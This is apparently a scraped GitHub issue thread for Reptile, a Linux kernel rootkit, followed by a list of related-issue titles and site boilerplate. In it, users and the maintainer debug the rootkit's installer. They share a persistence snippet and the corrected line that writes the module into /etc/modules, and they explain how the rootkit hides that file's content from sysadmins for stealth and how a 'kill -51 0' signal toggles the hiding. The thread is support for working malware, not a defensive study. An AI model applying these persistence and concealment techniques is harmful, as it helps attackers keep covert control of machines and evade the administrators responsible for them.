Comments (9)
I did some tests and some improvements on installer.sh
and the part of persistence. Cause, you may get some erros in removing reptile, with installer.sh
because of "hide file content feature".
So now, this is fixed.
from reptile.
No, Reptile is persistent.
I closed this issue unintentionally. But i reopened it.
I will let you close this issue If my answer helps you!
;)
from reptile.
Hi,
Persistency is not currently working because nothing gets written to the /etc/modules or /etc/rc.modules files.
if [ "$SYSTEM" == "debian" ] || [ "$SYSTEM" == "ubuntu" ]; then
echo -e "" >> /etc/modules || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }
elif [ "$SYSTEM" == "redhat" ] || [ "$SYSTEM" == "centos" ] || [ "$SYSTEM" == "fedora" ]; then
echo -e "" >> /etc/rc.modules &&
chmod +x /etc/rc.modules || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }
from reptile.
@corefx, The persistence is there, Reptile is configured to hide this file content to make persistence more stealth. When the sysadmin try to see, there is nothing written. But when the system boots, Reptile is not load yet, and the content written on this file is not hidden, so the Init will read and load Reptile properly. After Reptile loaded that content will be hidden.
You can check this out just typing kill -51 0
to disable the "file content hiding" feature. And you will see the configuration written at /etc/modules
.
Any doubts?
;)
from reptile.
I mean the following line in the installer.sh file: echo -e ""
>> /etc/modules
Installer.sh does not (currently) write anything to /etc/modules or /etc/rc.modules files so persistency does not work.
from reptile.
hey man,
thank you for this report. That line sould be echo -e "#<reptile>\nreptile\n#</reptile>" >> /etc/modules
I really didnt see that. I commit one of the testing codes. Sorry for that. And thank you again for this report
from reptile.
@yanzhenqiang and @corefx
I have commited right now the fixing for that. Sorry again for this mistake. Could you test if is working for you now?
from reptile.
I tested Reptile with your fix on Ubuntu 18.04 virtual machine and the persistence works fine.
from reptile.
Nice, I will review this code if I did another mistake like that.
from reptile.
Related Issues (20)
- is there gonna be kernel 5.X support? HOT 7
- make error: implicit declaration of function 'memzero_explicit' [-Werror=implicit-function-declaration] HOT 2
- tty hangs while rmmod HOT 2
- Error on running make
- Personal doubts
- Error during "make install" HOT 1
- Error with "kallsyms_on_each_symbol" at make HOT 1
- error on redhat 7
- How to prevent detection
- copy_from_user cause system crash on centos7.8 HOT 1
- Installing Error on Parrot OS HOT 1
- 12312
- linux kernel 5.0+ Compatibility HOT 1
- update for Ubunut22 and other higher version kernel
- Hide processs faile HOT 1
- help
- About memory leaks(关于内存泄漏)
- Reptile-master/kernel/include/config.h:26:25: error: expected ‘)’ before ‘HIDE’ HOT 1
- Can't open reptile_module.ko for reading HOT 4
- AMZN Connection Hide
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from reptile.